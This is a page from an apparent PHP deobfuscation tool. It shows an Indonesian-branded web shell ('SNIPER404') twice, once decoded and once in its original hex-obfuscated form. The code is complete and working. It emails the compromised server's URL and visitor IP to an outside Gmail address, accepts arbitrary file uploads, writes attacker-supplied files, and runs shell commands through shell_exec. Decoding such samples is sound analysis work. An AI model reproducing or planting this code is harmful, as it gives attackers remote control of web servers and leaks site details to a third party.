Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47L\x4f\x42A\x4c\x53"}["\x75\x65\x65\x67bl\x6a\x76\x7a\x67"]="\x63\x6d\x64";${"..
Decoded Output download
<?php ${"GLOBALS"}["ueegbljvzg"]="cmd";${"GLOBALS"}["vobbmnsx"]="filename";${"GLOBALS"}["nokmdbawuvr"]="contents";${"GLOBALS"}["xlduhyqud"]="fp";@ini_set("output_buffering",0);@ini_set("display_errors",0);set_time_limit(0);ini_set("memory_limit","64M");header("Content-Type: text/html; charset=UTF-8");$vatiew="sl";$="[email protected]";${$vatiew}="http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];$="LINK $sl IP Address : [ ".$_SERVER["REMOTE_ADDR"]." ]";mail($,"UPLOADER",$,"[ ".$_SERVER["REMOTE_ADDR"]." ]");set_time_limit(0);error_reporting(0);error_log(0);if(isset($_GET["x"])){if(file_exists($_FILES["uploadfile"]["tmp_name"])){${"GLOBALS"}["wdsnvq"]="fp";${"GLOBALS"}["yeonkvbfngvp"]="filename";${"GLOBALS"}["algmri"]="filename";${${"GLOBALS"}["algmri"]}=$_FILES["uploadfile"]["tmp_name"];${${"GLOBALS"}["xlduhyqud"]}=@fopen(${${"GLOBALS"}["yeonkvbfngvp"]},"r");${${"GLOBALS"}["nokmdbawuvr"]}=@fread(${${"GLOBALS"}["wdsnvq"]},filesize(${${"GLOBALS"}["vobbmnsx"]}));@fclose(${${"GLOBALS"}["xlduhyqud"]});${${"GLOBALS"}["xlduhyqud"]}=fopen($_FILES["uploadfile"]["name"],"w");fputs(${${"GLOBALS"}["xlduhyqud"]},${${"GLOBALS"}["nokmdbawuvr"]});fclose(${${"GLOBALS"}["xlduhyqud"]});echo"file ".$_FILES["uploadfile"]["name"]." Terupload mas :) ";}echo"<center>
<h4>HIDDEN AKSES</h4><br><b>".php_uname()."</b><br><br>";echo"<form enctype=\"multipart/form-data" method=\"post">
</script><br>
<b>File : </b> <input name="uploadfile" type="file\">
<input type=\"submit" value="SEND">
</form>";if(!isset($_POST["submit"])){echo"<form method='POST'>
<center>BYPASS <input type='text' name='fname' size=''><br><br /> <textarea cols='30' rows='15' name='fcode'></textarea><br><br /><input type='submit' name='submit' value='BYPASS'> </form></center>";}else{${"GLOBALS"}["wehdpbe"]="fname";${"GLOBALS"}["ouxqjin"]="fname";$cshbfs="fcode";${${"GLOBALS"}["wehdpbe"]}=$_POST["fname"];$owfioos="fcode";${$owfioos}=$_POST["fcode"];fwrite(fopen(${${"GLOBALS"}["ouxqjin"]},"w"),${$cshbfs});}if(!empty($_POST["cmd"])){$uthepodi="cmd";${$uthepodi}=shell_exec($_POST["cmd"]);}echo "<html>
<head>
<meta charset="utf-8\">
<meta http-equiv="X-UA-Compatible\" content="IE=edge\">
<meta name=\"viewport\" content="width=device-width, initial-scale=1">
<link rel=\"stylesheet" type=\"text/css\" href="//bootswatch.com/4/flatly/bootstrap.min.css">
<title>KONTOL GEDE BANGET</title>
<style>
h2 {
color: rgba(0, 0, 0, .75);
}
pre {
padding: 15px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
background-color: #ECF0F1;
}
.container {
width: 850px;
}
</style>
</head>
<body>
<div class="container\">
<div class="pb-2 mt-4 mb-2\">
<h1>SNIPER404</h1>
<h2>INDONESIAN DARK NET</h2>
</div>
<form method=\"POST">
<div class=\"form-group\">
<label for="cmd"><strong>Command</strong></label>
<input type="text" class=\"form-control\" name="cmd" id="cmd" value=\"";echo htmlspecialchars($_POST["cmd"],ENT_QUOTES,"UTF-8");echo "" required>
</div>
<button type=\"submit" class=\"btn btn-primary">GASS</button></form>
";if(${${"GLOBALS"}["ueegbljvzg"]}){$rheulnnpbdd="cmd";echo "<div class=\"pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
";echo htmlspecialchars(${$rheulnnpbdd},ENT_QUOTES,"UTF-8");echo "</pre>
";}elseif(!${${"GLOBALS"}["ueegbljvzg"]}&&$_SERVER["REQUEST_METHOD"]=="POST"){echo "<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre><small>No result.</small></pre>
";}echo "
</div>
</body>
</html>
";}
?>Did this file decode correctly?
Original Code
<?php ${"\x47L\x4f\x42A\x4c\x53"}["\x75\x65\x65\x67bl\x6a\x76\x7a\x67"]="\x63\x6d\x64";${"G\x4c\x4fB\x41\x4c\x53"}["\x76ob\x62\x6d\x6e\x73x"]="\x66\x69\x6c\x65\x6e\x61me";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6e\x6f\x6bm\x64b\x61wu\x76\x72"]="c\x6fn\x74e\x6e\x74\x73";${"G\x4cOB\x41\x4cS"}["\x78ld\x75hyq\x75d"]="\x66p";@ini_set("out\x70ut_\x62u\x66f\x65\x72\x69n\x67",0);@ini_set("\x64\x69\x73pl\x61y\x5fe\x72\x72\x6f\x72\x73",0);set_time_limit(0);ini_set("\x6d\x65\x6d\x6f\x72y\x5f\x6ci\x6d\x69\x74","\x36\x34\x4d");header("\x43\x6f\x6et\x65n\x74-\x54ype:\x20t\x65xt/h\x74ml; \x63har\x73\x65\x74=\x55\x54\x46-8");$vatiew="\x73\x6c";$="p\x75k\x69\x6d\x61\x78\x78x\x78x@g\x6da\x69\x6c.\x63\x6f\x6d";${$vatiew}="\x68\x74t\x70://".$_SERVER["S\x45\x52VER_N\x41ME"].$_SERVER["\x52EQU\x45\x53\x54_\x55RI"];$="L\x49NK $sl\x20IP\x20Ad\x64\x72e\x73\x73\x20:\x20[ ".$_SERVER["\x52E\x4d\x4f\x54\x45_\x41D\x44R"]."\x20]";mail($,"\x55\x50\x4c\x4f\x41\x44ER",$,"[ ".$_SERVER["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44DR"]." ]");set_time_limit(0);error_reporting(0);error_log(0);if(isset($_GET["\x78"])){if(file_exists($_FILES["\x75\x70\x6co\x61dfil\x65"]["\x74\x6d\x70_\x6e\x61\x6de"])){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77\x64s\x6e\x76\x71"]="\x66\x70";${"G\x4c\x4fB\x41L\x53"}["y\x65o\x6e\x6b\x76\x62\x66\x6e\x67\x76\x70"]="\x66\x69l\x65na\x6de";${"G\x4c\x4fBA\x4c\x53"}["\x61\x6cg\x6dri"]="f\x69l\x65n\x61\x6d\x65";${${"\x47L\x4fB\x41\x4c\x53"}["\x61\x6cgm\x72i"]}=$_FILES["u\x70lo\x61df\x69\x6c\x65"]["t\x6d\x70\x5f\x6e\x61me"];${${"G\x4cOBA\x4c\x53"}["\x78l\x64u\x68\x79\x71\x75d"]}=@fopen(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79\x65\x6fnk\x76\x62\x66\x6e\x67\x76p"]},"r");${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x6f\x6b\x6d\x64\x62\x61\x77u\x76r"]}=@fread(${${"\x47LO\x42\x41\x4c\x53"}["w\x64s\x6e\x76\x71"]},filesize(${${"\x47\x4c\x4f\x42\x41\x4cS"}["v\x6f\x62bm\x6e\x73\x78"]}));@fclose(${${"GLO\x42\x41LS"}["\x78ld\x75\x68\x79\x71\x75\x64"]});${${"GL\x4f\x42\x41\x4c\x53"}["\x78\x6c\x64uh\x79qu\x64"]}=fopen($_FILES["u\x70\x6c\x6fad\x66il\x65"]["n\x61\x6d\x65"],"\x77");fputs(${${"\x47\x4c\x4fBA\x4cS"}["x\x6c\x64u\x68yq\x75\x64"]},${${"G\x4cO\x42A\x4c\x53"}["\x6e\x6f\x6b\x6ddbaw\x75\x76\x72"]});fclose(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x6c\x64u\x68\x79\x71\x75\x64"]});echo"f\x69le ".$_FILES["\x75\x70lo\x61\x64\x66ile"]["n\x61m\x65"]."\x20T\x65ru\x70lo\x61\x64 m\x61s\x20:)\x20";}echo"<cen\x74er\x3e\n\x3ch4\x3eHI\x44DE\x4e A\x4b\x53E\x53</h4><\x62r\x3e\x3c\x62>".php_uname()."\x3c/\x62>\x3c\x62\x72\x3e<\x62\x72\x3e";echo"<f\x6fr\x6d\x20enc\x74ype=\"m\x75lt\x69p\x61r\x74/form-\x64\x61t\x61\x22 \x6d\x65\x74\x68od\x3d\"\x70\x6f\x73t\x22>\n</\x73cr\x69\x70\x74>\x3c\x62r\x3e\n\x3cb\x3e\x46i\x6ce : \x3c/\x62> \x3cin\x70ut\x20\x6e\x61me\x3d\x22\x75p\x6co\x61d\x66\x69\x6ce\x22 \x74y\x70\x65\x3d\x22\x66\x69le\"\x3e\n\x3c\x69\x6e\x70\x75\x74\x20\x74ype\x3d\"\x73\x75\x62\x6dit\x22 \x76\x61lu\x65=\x22S\x45\x4eD\x22\x3e\n\x3c/for\x6d>";if(!isset($_POST["s\x75bmi\x74"])){echo"\x3cf\x6f\x72m \x6de\x74\x68o\x64='\x50OST\x27>\n\x3c\x63\x65\x6ete\x72\x3eBYPASS <\x69np\x75t \x74yp\x65\x3d'\x74e\x78t\x27\x20na\x6de\x3d\x27fname'\x20\x73i\x7ae=''>\x3c\x62r>\x3cbr\x20/\x3e\x20\x3cte\x78t\x61re\x61\x20\x63\x6f\x6cs='\x330' \x72\x6f\x77\x73\x3d\x27\x31\x35'\x20\x6e\x61\x6d\x65\x3d'f\x63\x6fde'>\x3c/te\x78tare\x61><br><b\x72\x20/\x3e<i\x6epu\x74\x20t\x79pe\x3d\x27s\x75\x62\x6d\x69\x74' name=\x27\x73u\x62\x6d\x69t'\x20value='BY\x50\x41\x53S'\x3e </\x66\x6f\x72m\x3e</\x63\x65\x6ete\x72>";}else{${"G\x4c\x4f\x42A\x4c\x53"}["\x77eh\x64\x70be"]="fna\x6d\x65";${"\x47\x4cO\x42\x41\x4cS"}["ouxq\x6a\x69\x6e"]="\x66\x6e\x61m\x65";$cshbfs="\x66\x63\x6f\x64\x65";${${"GLO\x42AL\x53"}["wehd\x70\x62e"]}=$_POST["f\x6eame"];$owfioos="fc\x6f\x64e";${$owfioos}=$_POST["fc\x6f\x64\x65"];fwrite(fopen(${${"\x47\x4c\x4f\x42A\x4c\x53"}["o\x75\x78\x71j\x69n"]},"w"),${$cshbfs});}if(!empty($_POST["c\x6d\x64"])){$uthepodi="c\x6d\x64";${$uthepodi}=shell_exec($_POST["\x63\x6dd"]);}echo "<ht\x6dl\x3e\n\x3c\x68ead\x3e\n\x3cmeta\x20c\x68\x61r\x73\x65t\x3d\x22u\x74f-\x38\"\x3e\n\x3cm\x65ta\x20\x68\x74\x74\x70-\x65quiv\x3d\x22\x58-U\x41-\x43omp\x61\x74\x69\x62\x6ce\" \x63\x6fnt\x65nt=\x22\x49E=\x65\x64\x67e\">\n\x3cm\x65ta\x20\x6ea\x6d\x65=\"\x76\x69\x65\x77\x70\x6f\x72t\"\x20con\x74\x65\x6et=\x22\x77i\x64\x74\x68=de\x76ice-\x77id\x74\x68, \x69\x6e\x69\x74\x69\x61\x6c-s\x63a\x6c\x65=1\x22>\n\x3c\x6ci\x6e\x6b rel\x3d\"\x73\x74y\x6ces\x68\x65\x65\x74\x22\x20t\x79\x70\x65=\"\x74\x65xt/c\x73s\"\x20href\x3d\x22//bo\x6f\x74\x73\x77at\x63h.com/4/f\x6c\x61\x74\x6cy/boo\x74s\x74r\x61\x70.\x6di\x6e.cs\x73\x22>\n<\x74\x69\x74l\x65\x3e\x4b\x4fN\x54\x4f\x4c \x47ED\x45\x20B\x41\x4e\x47\x45T</\x74i\x74l\x65\x3e\n\x3c\x73\x74\x79le>\n\x682 {\ncolo\x72: rgba(0,\x20\x30,\x20\x30,\x20\x2e\x375)\x3b\n}\n\x70\x72e {\np\x61d\x64\x69\x6e\x67:\x201\x35px;\n-web\x6b\x69t-bo\x72d\x65r-r\x61d\x69u\x73: \x35\x70x;\n-\x6d\x6f\x7a-b\x6fr\x64\x65\x72-\x72\x61diu\x73:\x205p\x78\x3b\nbo\x72\x64er-\x72\x61d\x69\x75s:\x20\x35\x70x;\nb\x61ckgroun\x64-\x63ol\x6f\x72:\x20\x23\x45\x43F\x30\x461;\n}\n\x2ec\x6f\x6etai\x6ee\x72\x20{\n\x77i\x64t\x68: 8\x350p\x78;\n}\n</\x73ty\x6ce\x3e\n\x3c/\x68\x65\x61d\x3e\n<bo\x64y>\n\x3cd\x69v \x63la\x73s\x3d\x22\x63\x6f\x6e\x74\x61i\x6e\x65\x72\">\n<d\x69v \x63\x6ca\x73s\x3d\x22\x70b-\x32 m\x74-4\x20m\x62-2\">\n<h\x31>S\x4e\x49\x50ER40\x34</h1\x3e\n\x3c\x682\x3eI\x4e\x44ONE\x53\x49\x41\x4e \x44A\x52\x4b NET</\x682\x3e\n</\x64\x69\x76\x3e\n<fo\x72m me\x74\x68\x6fd\x3d\"\x50\x4f\x53\x54\x22>\n<\x64\x69v c\x6c\x61\x73\x73=\"\x66o\x72m-\x67\x72\x6f\x75p\"\x3e\n<\x6cabe\x6c f\x6f\x72\x3d\x22cm\x64\x22>\x3c\x73tr\x6f\x6e\x67\x3e\x43\x6fmmand\x3c/\x73trong\x3e</\x6c\x61bel>\n\x3c\x69\x6eput \x74\x79\x70e\x3d\x22\x74\x65x\x74\x22\x20\x63\x6cas\x73=\"fo\x72m-co\x6etr\x6fl\"\x20na\x6de\x3d\x22\x63\x6dd\x22\x20i\x64\x3d\x22\x63\x6d\x64\x22\x20\x76\x61lu\x65\x3d\"";echo htmlspecialchars($_POST["\x63m\x64"],ENT_QUOTES,"\x55T\x46-8");echo "\x22 re\x71\x75i\x72\x65\x64>\n\x3c/\x64i\x76\x3e\n<\x62\x75t\x74on \x74\x79\x70\x65\x3d\"\x73u\x62\x6d\x69\x74\x22\x20c\x6ca\x73s=\"bt\x6e btn-\x70\x72\x69\x6da\x72\x79\x22>G\x41SS\x3c/bu\x74\x74\x6f\x6e>\x3c/form>\n";if(${${"\x47\x4c\x4f\x42\x41LS"}["\x75\x65\x65\x67\x62ljv\x7a\x67"]}){$rheulnnpbdd="\x63\x6d\x64";echo "<div\x20\x63\x6c\x61s\x73\x3d\"\x70b-2 m\x74-4\x20\x6db-\x32\x22\x3e\n\x3ch\x32>\x20O\x75t\x70ut </h2\x3e\n</\x64i\x76\x3e\n\x3cp\x72e\x3e\n";echo htmlspecialchars(${$rheulnnpbdd},ENT_QUOTES,"U\x54F-\x38");echo "\x3c/p\x72\x65>\n";}elseif(!${${"\x47\x4c\x4f\x42AL\x53"}["u\x65eg\x62\x6cj\x76\x7ag"]}&&$_SERVER["RE\x51\x55E\x53T\x5f\x4d\x45TH\x4f\x44"]=="\x50O\x53\x54"){echo "\x3cdi\x76\x20cl\x61ss=\x22p\x62-\x32 m\x74-\x34\x20mb-\x32\x22>\n<h\x32>\x20O\x75tput\x20</\x68\x32>\n\x3c/\x64iv>\n<pre>\x3c\x73\x6dall>\x4e\x6f\x20\x72e\x73u\x6c\x74\x2e\x3c/s\x6dall>\x3c/\x70\x72e>\n";}echo "\n</di\x76>\n</bo\x64y\x3e\n\x3c/\x68\x74\x6d\x6c>\n";}
?>Function Calls
| None |
Stats
| MD5 | 11d22095d419c8b0d1140b99df8cf241 |
| Eval Count | 0 |
| Decode Time | 47 ms |